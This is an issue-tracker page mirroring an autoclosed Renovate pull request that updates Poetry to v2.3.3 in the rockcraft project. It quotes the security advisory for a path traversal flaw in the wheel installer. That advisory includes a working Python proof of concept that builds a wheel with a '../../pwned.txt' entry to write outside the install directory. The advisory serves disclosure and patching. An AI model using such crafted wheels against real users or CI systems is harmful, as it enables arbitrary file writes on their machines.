← Back to issue list

build(deps): update dependency poetry to v2.3.3 [security] (hotfix/1.17) - autoclosed

View original Github issue

Metadata

Project
rockcraft
Number
#1169
Type
pull request
State
closed
Author
renovate[bot]
Labels
PR: Dependencies
Created
Updated
Closed

Current evaluation

Renovate PR updating Poetry to v2.3.3 for CVE-2026-34591 was autoclosed without merging. The security update was abandoned.

Suggested action:

No scores available.

Issue body

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [poetry](https://redirect.github.com/python-poetry/poetry) ([changelog](https://python-poetry.org/history/)) | `2.3.2` → `2.3.3` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/poetry/2.3.3?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/poetry/2.3.2/2.3.3?slim=true) | ### GitHub Vulnerability Alerts #### [CVE-2026-34591](https://redirect.github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp) ### Summary A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. ### Impact Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages. ### Patches Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted. ### Details Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path: src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59 The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607 No resolve() + is_relative_to() style guard is enforced before writing. ### POC ``` from pathlib import Path import tempfile, zipfile, sys from installer import install from installer.sources import WheelFile from poetry.installation.wheel_installer import WheelDestination root = Path(tempfile.mkdtemp(prefix="poetry-poc-")) wheel = root / "evil-0.1-py3-none-any.whl" base = root / "venv" / "lib" / "pythonX" / "site-packages" for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]: d.mkdir(parents=True, exist_ok=True) files = { "evil/__init__.py": b"", "../../pwned.txt": b"owned\n", "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n", "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n", } files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode() with zipfile.ZipFile(wheel, "w") as z: for k,v in files.items(): z.writestr(k,v) dest = WheelDestination( {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")}, interpreter=sys.executable, script_kind="posix" ) with WheelFile.open(wheel) as src: install(src, dest, {"INSTALLER": b"PoC"}) out = (base / "../../pwned.txt").resolve() print("outside write:", out.exists(), out) ``` --- ### Release Notes <details> <summary>python-poetry/poetry (poetry)</summary> ### [`v2.3.3`](https://redirect.github.com/python-poetry/poetry/blob/HEAD/CHANGELOG.md#233---2026-03-29) [Compare Source](https://redirect.github.com/python-poetry/poetry/compare/2.3.2...2.3.3) ##### Fixed - **Fix a path traversal vulnerability in the wheel installer that could allow malicious wheel files to write files outside the intended installation directory** ([#&#8203;10792](https://redirect.github.com/python-poetry/poetry/pull/10792)). - Fix an issue where `git` dependencies from annotated tags could not be updated ([#&#8203;10719](https://redirect.github.com/python-poetry/poetry/pull/10719)). - Fix an issue where empty `VIRTUAL_ENV` or `CONDA_PREFIX` environment variables (e.g., after `conda deactivate`) would cause Poetry to incorrectly detect an active virtualenv ([#&#8203;10784](https://redirect.github.com/python-poetry/poetry/pull/10784)). - Fix an issue where an incomprehensible error message was printed when `.venv` was a file instead of a directory ([#&#8203;10777](https://redirect.github.com/python-poetry/poetry/pull/10777)). - Fix an issue where HTTP Basic Authentication credentials could be corrupted during request preparation, causing authentication failures with long tokens ([#&#8203;10748](https://redirect.github.com/python-poetry/poetry/pull/10748)). - Fix an issue where `poetry publish --no-interaction --build` requested user interaction ([#&#8203;10769](https://redirect.github.com/python-poetry/poetry/pull/10769)). - Fix an issue where `poetry init` and `poetry new` created a deprecated `project.license` format ([#&#8203;10787](https://redirect.github.com/python-poetry/poetry/pull/10787)). ##### Docs - Clarify the differences between `poetry install` and `poetry update` ([#&#8203;10713](https://redirect.github.com/python-poetry/poetry/pull/10713)). - Clarify the section of fields in the `pyproject.toml` examples ([#&#8203;10753](https://redirect.github.com/python-poetry/poetry/pull/10753)). - Add a note about the different installation location when Python from the Microsoft Store is used ([#&#8203;10759](https://redirect.github.com/python-poetry/poetry/pull/10759)). - Fix the system requirements for Poetry ([#&#8203;10739](https://redirect.github.com/python-poetry/poetry/pull/10739)). - Fix the `poetry cache clear` example ([#&#8203;10749](https://redirect.github.com/python-poetry/poetry/pull/10749)). - Fix the link to `pipx` installation instructions ([#&#8203;10783](https://redirect.github.com/python-poetry/poetry/pull/10783)). ##### poetry-core ([`2.3.2`](https://redirect.github.com/python-poetry/poetry-core/releases/tag/2.3.2)) - Fix an issue where `platform_release` could not be parsed on Debian Trixie ([#&#8203;930](https://redirect.github.com/python-poetry/poetry-core/pull/930)). - Fix an issue where using `project.readme.text` in the `pyproject.toml` file resulted in broken metadata ([#&#8203;914](https://redirect.github.com/python-poetry/poetry-core/pull/914)). - Fix an issue where dependency groups were considered equal when their resolved dependencies were equal, even if the groups themselves were not ([#&#8203;919](https://redirect.github.com/python-poetry/poetry-core/pull/919)). - Fix an issue where removing a dependency from a group that included another group resulted in other dependencies being added to the included group ([#&#8203;922](https://redirect.github.com/python-poetry/poetry-core/pull/922)). - Fix an issue where PEP 735 `include-group` entries were lost when `[tool.poetry.group]` also defined `include-groups` for the same group ([#&#8203;924](https://redirect.github.com/python-poetry/poetry-core/pull/924)). - Fix an issue where the union of `<value> not in <marker>` constraints was wrongly treated as always satisfied ([#&#8203;925](https://redirect.github.com/python-poetry/poetry-core/pull/925)). - Fix an issue where a post release with a local version identifier was wrongly allowed by a `>` version constraint ([#&#8203;921](https://redirect.github.com/python-poetry/poetry-core/pull/921)). - Fix an issue where a version with the local version identifier `0` was treated as equal to the corresponding public version ([#&#8203;920](https://redirect.github.com/python-poetry/poetry-core/pull/920)). - Fix an issue where a `!= <version>` constraint wrongly disallowed pre releases and post releases of the specified version ([#&#8203;929](https://redirect.github.com/python-poetry/poetry-core/pull/929)). - Fix an issue where `in` and `not in` constraints were wrongly not allowed by specific compound constraints ([#&#8203;927](https://redirect.github.com/python-poetry/poetry-core/pull/927)). </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" in timezone Etc/UTC, Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/canonical/rockcraft). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xMDIuNyIsInVwZGF0ZWRJblZlciI6IjQzLjEwMi43IiwidGFyZ2V0QnJhbmNoIjoiaG90Zml4LzEuMTciLCJsYWJlbHMiOlsiUFI6IERlcGVuZGVuY2llcyJdfQ==-->

Evaluation history

Date Model Scores Action Summary
qwen/qwen3.6-35b-a3b Renovate PR updating Poetry to v2.3.3 for CVE-2026-34591 was autoclosed without merging. The security update was abandoned.
qwen3.6-35b-a3b-mtp-q6 Renovate autoclosed this dependency update to poetry v2.3.3, addressing CVE-2026-34591. Automatic closure triggered by branch deletion or merge. The security fix remains available in the upstream release.
qwen3.6-35b-a3b-mtp-q6 Automatically closed by Renovate. The Poetry v2.3.3 update addressing CVE-2026-34591 was not merged. The automation tool closed the branch automatically, leaving the security patch unapplied via this request.

Update history

No update history recorded yet.

Related issues

Issue Project State Summary Similarity
#2625 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/3.5) - autoclosed charmcraft closed Renovate-generated PR to update poetry to v2.3.3 for CVE-2026-34591 security patch was autoclosed without merging. The dependency update was abandoned.
98%
#2626 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.0) charmcraft closed Dependency update to poetry v2.3.3 addressing CVE-2026-34591 was closed without merging. The change was abandoned, and Renovate will skip this version until a newer release appears.
93%
#2627 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.1) charmcraft closed Closed without merging. The security update to Poetry v2.3.3 was abandoned. Renovate will ignore this version and automatically generate a replacement PR for a newer release.
92%
#1168 build(deps): update dependency poetry to v2.3.3 [security] (main) - autoclosed rockcraft closed Renovate autoclosed the poetry v2.3.3 security update after snap-tests failed in CI. The dependency was not merged, leaving the repository unpatched against CVE-2026-34591.
92%
#2628 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.2) charmcraft merged Merged automated update upgrading poetry from v2.3.2 to v2.3.3. This resolves CVE-2026-34591, a path traversal vulnerability in the wheel installer allowing arbitrary file writes. Auto-merged after passing CI checks.
87%
#2624 build(deps): update dependency poetry to v2.3.3 [security] (main) charmcraft merged Automatically merged by Renovate bot to upgrade poetry from v2.3.2 to v2.3.3, resolving CVE-2026-34591 path traversal vulnerability in the wheel installer. PR was approved and passed CI checks.
87%
#6125 build(deps): update dependency requests to v2.33.0 [security] (main) - autoclosed snapcraft closed Renovate automatically closed the requests v2.33.0 security update without merging. The PR was abandoned due to inactivity and unresolved CI checks, leaving the dependency outdated.
79%
#2629 build(deps-dev): bump poetry from 2.3.2 to 2.3.3 charmcraft closed Closed as a duplicate of PR #2624. Dependabot acknowledged the closure and will skip future notifications. The dependency update was handled in the referenced PR.
78%
#1921 build(deps): update dependency requests to v2.32.2 [security] (hotfix/2.7) - autoclosed charmcraft closed Renovate bot pull request updating requests to v2.32.2 to address CVE-2024-35195 was autoclosed. The dependency update was not merged and remains abandoned, likely due to branch deletion or being superseded by another resolution.
78%
#1119 build(deps): update dependency requests to v2.32.4 [security] (hotfix/2.7) - autoclosed craft-parts closed A dependency update to requests v2.32.4 addressing CVE-2024-47081 was autoclosed by the Renovate bot. The security patch was abandoned or superseded without merging.
78%